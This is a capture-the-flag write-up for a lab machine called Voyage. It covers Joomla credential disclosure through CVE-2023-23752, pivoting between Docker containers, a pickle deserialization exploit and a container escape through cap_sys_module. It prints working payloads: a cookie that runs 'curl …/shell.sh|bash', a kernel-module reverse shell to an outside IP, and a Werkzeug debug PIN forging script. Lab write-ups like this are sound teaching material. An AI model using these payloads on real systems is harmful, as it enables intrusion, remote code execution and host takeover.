Voyage is about dealing with web vulnerabilities, Docker pivoting and escaping.
First Let’s start with nmap and doing some Information gathering on the target
nmap -p- -A -T4 10.10.16.170
Starting Nmap 7.80 ( <https://nmap.org> ) at 2025-08-31 04:48 BST
Nmap scan report for ip-10-10-16-170.eu-west-1.compute.internal (10.10.16.170)
Host is up (0.00078s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Home
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.
0)
Only port 2222 accepts user and password, port 22 wants a private, public key pair
robots.txt
User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
Using cmseek to get version of joomla To see which vulnerabilities are found there
cmseek
[✔] Target: <http://10.10.16.170>
[✔] Detected CMS: Joomla
[✔] CMS URL: <https://joomla.org>
[✔] Joomla Version: 4.2.7
[✔] Readme file: <http://10.10.16.170/README.txt>
[✔] Admin URL: <http://10.10.16.170administrator>
Found improper access control unauthenticated information disclosure, using github poc https://github.com/adhikara13/CVE-2023-23752
python CVE-2023-23752.py -u 10.10.16.170
[+] => Vulnerable 10.10.16.170
User: root Password: RootPassword@1234 Database: joomla_db
Gained access with Found creds but it’s a docker environment
ssh [email protected] -p 2222Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1031-aws x86_64)
root@f5eb774507f2:~#
After a while enumeration i discovered nmap binary there let me wonder why it’s there so after scanning through the private network found another container in the same machine, also in /etc/hosts found my private ip hostname
Got this from internal nmap binary
root@f5eb774507f2:/tmp# nmap 192.168.100.0/24
Starting Nmap 7.80 ( <https://nmap.org> ) at 2025-08-31 06:55 UTC
Nmap scan report for ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1)
Host is up (0.0000050s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
5000/tcp open upnp
MAC Address: 02:42:68:1A:F2:66 (Unknown)
Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)
Host is up (0.0000060s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
5000/tcp open upnp
MAC Address: 02:42:C0:A8:64:0C (Unknown)Nmap scan report for f5eb774507f2 (192.168.100.10)
Host is up (0.0000040s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
pivoting
ssh -L 5000:192.168.100.12:5000 -p 2222 [email protected] -N
Logging in to localhost:5000 with default creds accepted with admin:admin and also i found there is no check on password
Fuzzing directories
ffuf -u <http://127.0.0.1:5000/FUZZ> -w /usr/share/wordlists/dirb/common.txt -H "Cookie: 310c29008fc04f792e0bccb4682e5b78=986fipns3sajs4jvkh6e4h7vqm; session_data=80049526000000000000007d94288c0475736572948c0561646d696e948c07726576656e7565948c05383530303094752e"
Got this
console [Status: 200, Size: 1563, Words: 330, Lines: 46, Duration: 1500ms]
We know so far it’s flask app maybe there is ssti or something as the username is reflected when logged in no check on pass although the cookie value is interesting, also the console directory needs pincode so to forge the pincode we want the machine-id “container-id” so it’s impossible to go there, although no valid vulnerabilities found for this version of Werkzeug/3.1.3 Python/3.10.12
Check if vulnerable, by unserialize the cookie value “pickle serialization”
import binascii
import pickle
cookie = "8004952b000000000000007d94288c0475736572948c0a7b7b636f6e6669677d7d948c07726576656e7565948c05383530303094752e"pickle_bytes = binascii.unhexlify(cookie)try:
data = pickle.loads(pickle_bytes)
print(data)
except Exception as e:
print("Could not load pickle:", e)
Got
python serialize.py
{'user': '{{config}}', 'revenue': '85000'}
Now send crafted one as a cookie and check if it’s accepted or nt
import pickle
import binascii
import requests
# -----------------------------
# Step 1: Create a test object
# -----------------------------
test_obj = {
'user': 'pickle_test',
'revenue': '12345'
}# Serialize and hex-encode the object
payload = binascii.hexlify(pickle.dumps(test_obj)).decode()
print(f"[+] Test payload (hex): {payload}")# -----------------------------
# Step 2: Send POST request with cookie
# -----------------------------
url = "<http://localhost:5000/>" # Change to your target URL
cookies = {'session_data': payload}try:
r = requests.post(url, cookies=cookies)
print("[+] Response status code:", r.status_code)
print("[+] Response snippet:", r.text[:2000]) # Print first 500 chars
except Exception as e:
print("[-] Request failed:", e)# -----------------------------
# Step 3: Interpretation
# -----------------------------
# If the response is normal and no errors occur, the server likely unpickles the cookie.
# If the response throws a server error, the server may be validating or rejecting the pickle.
the response ✔️
<h3 class="card-title text-center">🏝 Welcome pickle_test</h3>
Now we see it’s a valid pickle deserialization
An rce crafted payload
import pickle
import binascii
import requests
# -----------------------------
# Step 1: Create a controlled RCE payload
# -----------------------------
class Exploit:
def __reduce__(self):
import os
# harmless command for testing
return (os.system, ("curl 10.14.107.23/shell.sh|bash",)) # Serialize and hex-encode
payload = binascii.hexlify(pickle.dumps(Exploit())).decode()
print(f"[+] Exploit payload (hex): {payload}")# -----------------------------
# Step 2: Send it to the server
# -----------------------------
url = "<http://localhost:5000/>" # Change to your target
cookies = {'session_data': payload}r = requests.post(url, cookies=cookies)
print("[+] Response status code:", r.status_code)
print("[+] Response snippet:", r.text[:2000])
Got a shell in the other container, and also the first flag.
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.14.107.23] from (UNKNOWN) [10.10.98.233] 47042
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@d221f7bc7bf8:/finance-app# whoami
whoami
root
root@d221f7bc7bf8:/finance-app# id
id
uid=0(root) gid=0(root) groups=0(root)
using this tool https://github.com/stealthcopter/deepce, also u can use any enumeration tool i prefer this and linpeas
[+] Dangerous Capabilities .. Yes
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,**cap_sys_module**,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
cap_sys_module can be abused to escape docker
Create a make file
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
modify the make file with the linux lib module installed in there
check for it:
root@d221f7bc7bf8:/finance-app# ls -la /lib/modules
ls -la /lib/modules
total 24
drwxr-xr-x 1 root root 4096 Sep 1 01:35 .
drwxr-xr-x 1 root root 4096 Jun 17 20:16 ..
drwxr-xr-x 2 root root 4096 Jun 17 20:16 6.8.0-1029-aws
drwxr-xr-x 2 root root 4096 Jun 26 18:34 6.8.0-1030-aws
now modify because uname -r will lead to “6.8.0–1031-aws”, and be sure before make is not a space it’s a tab
obj-m +=reverse-shell.o
all:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modulesclean:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
create a reverse-shell c file take it from hacktricks
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.14.107.23/1234 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\\n");
}module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
now we get ko file
root@d221f7bc7bf8:~# ls
Makefile
Module.symvers
modules.order
reverse-shell.c
reverse-shell.ko
Now load the module and u will catch a reverse shell
insmod reverse-shell.ko
Got the root flag inside the main machine
root@tryhackme-2404:/root# ls -la
ls -la
total 44
drwx------ 5 root root 4096 Jun 24 15:24 .
drwxr-xr-x 22 root root 4096 Sep 1 00:11 ..
-rw------- 1 root root 0 Oct 22 2024 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw------- 1 root root 20 Jun 21 13:17 .lesshst
drwxr-xr-x 3 root root 4096 Oct 22 2024 .local
-rw------- 1 root root 72 Jun 21 13:37 .mysql_history
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwx------ 2 root root 4096 Oct 22 2024 .ssh
-rw-r--r-- 1 root root 175 Jun 21 13:20 .wget-hsts
-rw-r--r-- 1 root root 38 Jun 24 15:24 root.txt
drwxr-xr-x 4 root root 4096 Oct 22 2024 snap
Accessing console with pincode
Crafting the code to access the console
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username running Flask app
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None)
]private_bits = [
'2485723358220', # str(uuid.getnode()), e.g. MAC-derived node id
'9c8d2a12-466d-4281-9d77-cf537a843e3a' # machine-id (/etc/machine-id or /proc/sys/kernel/random/boot_id)
]# Werkzeug >= 2.0 switched from md5 to sha1
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = numprint(rv)
execute the code u will get the pincode and access to console dir successfully
root@d221f7bc7bf8:/# python3 code.py
483-499-414